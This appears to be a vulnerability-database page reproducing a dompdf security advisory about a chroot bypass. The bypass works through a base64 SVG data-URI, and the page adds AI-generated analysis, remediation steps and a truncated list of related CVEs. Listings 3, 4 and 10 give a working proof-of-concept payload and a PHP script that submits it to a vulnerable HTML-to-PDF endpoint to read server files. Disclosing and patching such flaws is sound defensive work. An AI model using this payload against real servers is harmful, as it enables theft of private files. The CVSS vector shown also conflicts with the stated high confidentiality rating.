EUVD-2026-50026
GHSA-cx96-42px-69fm
Severity by source
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Network-submitted HTML exploitable with no auth or interaction in default config; S:U because dompdf's chroot is an application-level control, not a CVSS security authority boundary; C:H for image file exfiltration with no integrity or availability impact.
Primary rating from Vendor (https://github.com/dompdf/dompdf).
CVSS VectorVendor: https://github.com/dompdf/dompdf
Lifecycle Timeline
4DescriptionCVE.org
Description: An attacker, who controls the HTML input supplied to dompdf, can read arbitrary images from the server’s file system, bypassing the chroot restriction. The vulnerability is exploitable in the default configuration. Exploitation conditions: An external user Researcher: Nikita Sveshnikov (Positive Technologies)
Research
dompdf restricts access to local files using the chroot mechanism. By default, chroot is set to the root directory of dompdf (Options.php:350-351):
_Listing 1. chroot settings_
$rootDir = realpath(__DIR__ . "/../");
$this->setChroot(array($rootDir));
// result: chroot = ["/path/to/vendor/dompdf/dompdf"]When the HTML references a local file, Options::validateLocalUri() checks that the path resides within сhroot. A direct link to the file outside this directory is correctly blocked:
_Listing 2. Blocking link_
<!-- BLOCKED: /tmp/ is outside chroot -->
<img src="file:///tmp/secret.png">How the protection is bypassed:
An attacker wraps the link to the target file in SVG format and delivers it via data: URI:
_Listing 3. Wrapping link in SVG_
<img src="data:image/svg+xml;base64,PHN2ZyB4bWxucz0i...">Inside the base64 payload is an SVG containing the <image> element that points to the target file:
_Listing 4. Pointing to the target file_
<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"
width="589" height="415">
<image xlink:href="/tmp/secret.png" x="0" y="0" width="589" height="415"/>
</svg>Why the bypass works:
The issue is that dompdf handles the SVG twice: first through its own validator and then via php-svg-lib - and the second pass does not apply the protection that the first pass does.
Step 1. The data:// protocol has no validation rules (Options.php:546-547):
_Listing 5. Lack of rules_
case "data://":
break; // no rulesSVG content passes without any checks.
Step 2. dompdf pre‑parses the SVG and validates the links inside it (Cache.php:137-183), but incorrectly interprets the path of an external resource (image) reference when the SVG is data-URI encoded.
Step 3. When rendering, the PDF backend passes the SVG to php-svg-lib with external links enabled (lib/Cpdf.php:6315-6319):
_Listing 6. Passing the SVG_
$doc = new \Svg\Document();
$doc->allowExternalReferences = true; // forced
$doc->loadFile($file);php-svg-lib is a separate library that has no information about the chroot directory or the dompdf validation rules.
Step 4. The <image> handler in php-svg-lib blocks only phar://, everything else is allowed when allowExternalReferences is true (php-svg-lib/src/Svg/Tag/Image.php:60-68):
_Listing 7. phar:// blocking_
if ($scheme === "phar"
|| ($this->document->allowExternalReferences === false && $scheme !== "data")) {
return;
}
$this->document->getSurface()->drawImage($this->href, ...);Step 5. drawImage() invokes file_get_contents() with no restrictions (php-svg-lib/src/Svg/Surface/SurfaceCpdf.php:171-172):
_Listing 8. file_get_contents() call_
$data = file_get_contents($image); // reads ANY pathThere is no chroot check. No protocol validation. The file is read and embedded into the PDF.
An example of exploitation:
_Listing 9. An example of a vulnerable code (html2pdf.php)_
require_once __DIR__ . '/vendor/autoload.php';
$dompdf = new Dompdf\Dompdf();
$dompdf->loadHtml($_POST['html']);
$dompdf->render();
$dompdf->stream('poc.pdf', ['Attachment' => false]);_Listing 10. An example attack on the vulnerable code_
$file = $_GET['file'] ?? '/tmp/user_files/user_1/private_image.png';
$svg = '<svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" width="589" height="415">'
. '<image xlink:href="' . htmlspecialchars($file, ENT_QUOTES) . '" x="0" y="0" width="589" height="415"/>'
. '</svg>';
$html = '<html><body>'
. '<img src="data:image/svg+xml;base64,' . base64_encode($svg) . '">'
. '</body></html>';
$url = 'http://example.com/html2pdf.php';
$data = ['html' => $html];
$headers = ["Content-type: application/x-www-form-urlencoded"];
// use key 'http' even if you send the request to https://...
$options = [
'http' => [
'header' => $headers,
'method' => 'POST',
'content' => http_build_query($data),
'ignore_errors' => true,
],
];
$context = stream_context_create($options);
$response = file_get_contents($url, false, $context);_Figure 1. The image was read successfully_ <img width="875" height="404" alt="image" src="https://github.com/user-attachments/assets/9a4ba3b7-df24-4c20-9dc4-55104ad905c2" />
Credits
Nikita Sveshnikov (Positive Technologies)
AnalysisAI
Dompdf's chroot filesystem restriction is bypassed by embedding SVG content as a base64-encoded data-URI, enabling any external user who controls HTML input to read arbitrary image files from the server filesystem and exfiltrate them via the rendered PDF output. The attack exploits a two-stage validation gap: dompdf's data:// protocol handler applies no chroot rules, and the downstream php-svg-lib dependency - invoked with allowExternalReferences forced to true - calls file_get_contents() with zero chroot awareness. A complete working proof-of-concept is published in the GitHub security advisory (GHSA-cx96-42px-69fm); no public exploit identified beyond the advisory PoC, and no active exploitation confirmed at time of analysis.
Technical ContextAI
dompdf (composer package dompdf/dompdf, versions prior to 3.1.6) is a widely-used PHP library for HTML-to-PDF conversion. The root cause class is CWE-20 (Improper Input Validation), arising from a split-validation architecture where security controls are applied in only the first of two SVG processing stages. dompdf's Options::validateLocalUri() enforces a chroot restriction limiting file access to the dompdf root directory, but the data:// protocol case in Options.php:546-547 exits the switch statement with a bare break, bypassing all validation. When an SVG is delivered as a base64-encoded data-URI, dompdf's pre-parse step in Cache.php:137-183 misinterprets embedded image references, and the PDF backend in Cpdf.php:6315-6319 hands the SVG to the separate php-svg-lib library with doc->allowExternalReferences forced to true. php-svg-lib's Image tag handler (php-svg-lib/src/Svg/Tag/Image.php:60-68) blocks only the phar:// scheme; all other paths - including bare filesystem paths such as /tmp/secret.png - pass through to SurfaceCpdf.php:171-172 where an unrestricted file_get_contents() reads and embeds the file. The fix in v3.1.6 patches Helpers.php to include data:// in the empty-protocol check, routing data-URI content through proper validation.
RemediationAI
Upgrade dompdf to version 3.1.6 or later, which resolves the issue via two patch commits (6a58996865db05d8fede748507e50ac4b8c5bfd0 and bf7b02f642e26007dedc5a22b3d6e15f9931120a) available at the GitHub security advisory https://github.com/dompdf/dompdf/security/advisories/GHSA-cx96-42px-69fm. The fix modifies Helpers.php to include the data:// protocol in the empty-protocol validation branch, ensuring data-URI SVG content is subjected to chroot enforcement. If immediate upgrade is not feasible, pre-sanitize HTML input before passing it to dompdf by stripping or neutralizing img tags whose src attributes begin with data:image/svg+xml; note that SVG-aware HTML sanitizers vary widely in their coverage and should be tested specifically against the published PoC payload before being relied upon as a control. As a more restrictive alternative, block data-URI image sources at the application layer via input validation, accepting that this will also disable legitimate data-URI image use - weigh that functionality cost against the exposure window.
In PHP versions 7.1.x below 7.1.33, 7.2.x below 7.2.24 and 7.3.x below 7.3.11 in certain configurations of FPM setup it
sapi/cgi/cgi_main.c in PHP before 5.3.12 and 5.4.x before 5.4.2, when configured as a CGI script (aka php-cgi), does not
(1) boardData102.php, (2) boardData103.php, (3) boardDataJP.php, (4) boardDataNA.php, and (5) boardDataWW.php in Netgear
The '/common/download_agent_installer.php' script in the Quest KACE System Management Appliance 8.0.318 is accessible by
ProjectSend versions prior to r1720 are affected by an improper authentication vulnerability. Rated critical severity (C
Roundcube Webmail contains a critical PHP object deserialization vulnerability (CVE-2025-49113, CVSS 9.9) that allows au
Util/PHP/eval-stdin.php in PHPUnit before 4.8.28 and 5.x before 5.6.3 allows remote attackers to execute arbitrary PHP c
Palo Alto Networks PAN-OS management web interface contains an authentication bypass allowing unauthenticated attackers
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
Nagios XI version xi-5.7.5 is affected by OS command injection. Rated high severity (CVSS 8.8), this vulnerability is re
The get_referers function in /opt/ws/bin/sblistpack in Sophos Web Appliance before 3.7.9.1 and 3.8 before 3.8.1.1 allows
The Backup Migration plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 1
Same weakness CWE-20 – Improper Input Validation
View allShare
External POC / Exploit Code
Leaving vuln.today